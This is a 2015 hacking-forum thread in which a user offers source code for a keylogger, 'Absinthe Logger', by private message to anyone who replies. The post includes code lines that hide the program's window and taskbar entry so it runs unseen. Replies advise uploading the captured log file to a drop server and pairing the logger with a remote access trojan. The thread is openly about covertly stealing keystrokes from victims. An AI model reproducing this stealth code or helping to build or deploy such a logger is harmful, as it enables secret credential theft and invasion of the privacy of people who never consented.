Thread: [\[source\] Absinthe Logger - Free Keylogger source made by me!](#)

Mnikkilla - August 10, 2015, 11:58 pm

Absinthe Logger

This keylogger was made by me, I cant provide many screenshots, since all it does is save the logs to the root of your drive under the file "log5.txt" e.g. c:\log5.txt, the keylogger is very stable and uses a KEYHOOK for accurate keystroke logging.

code screenshots and gifs:

<https://gyazo.com/a76a67d659b8034640683e45e2834acc> - see the way it creates "log5.txt" in root

Note* the window visibilty in the form setting should be set to hidden to make it not appear when opening

or put this in the form load

Code me.visible = false

me.opacity = 0

me.showintaskbar = falseTo get this Just leave a reply here and I will PM the source to you asap!

Hey I would like the source thanks

Russ. - August 11, 2015, 1:18 am

It opens that window every time? Wouldn't it be easier for it not to. More stealthy. Then have it send log5.txt to some drop site or server.

Then have it send log5.txt to some drop site or server.it does not open that window, I just set the window to "visible for viewing purposes" and you can easily customize it to upload the logs somewhere. this sort of source can be used in combination with your rat as a third party keylogger or you can even implement it in your own custom rat!
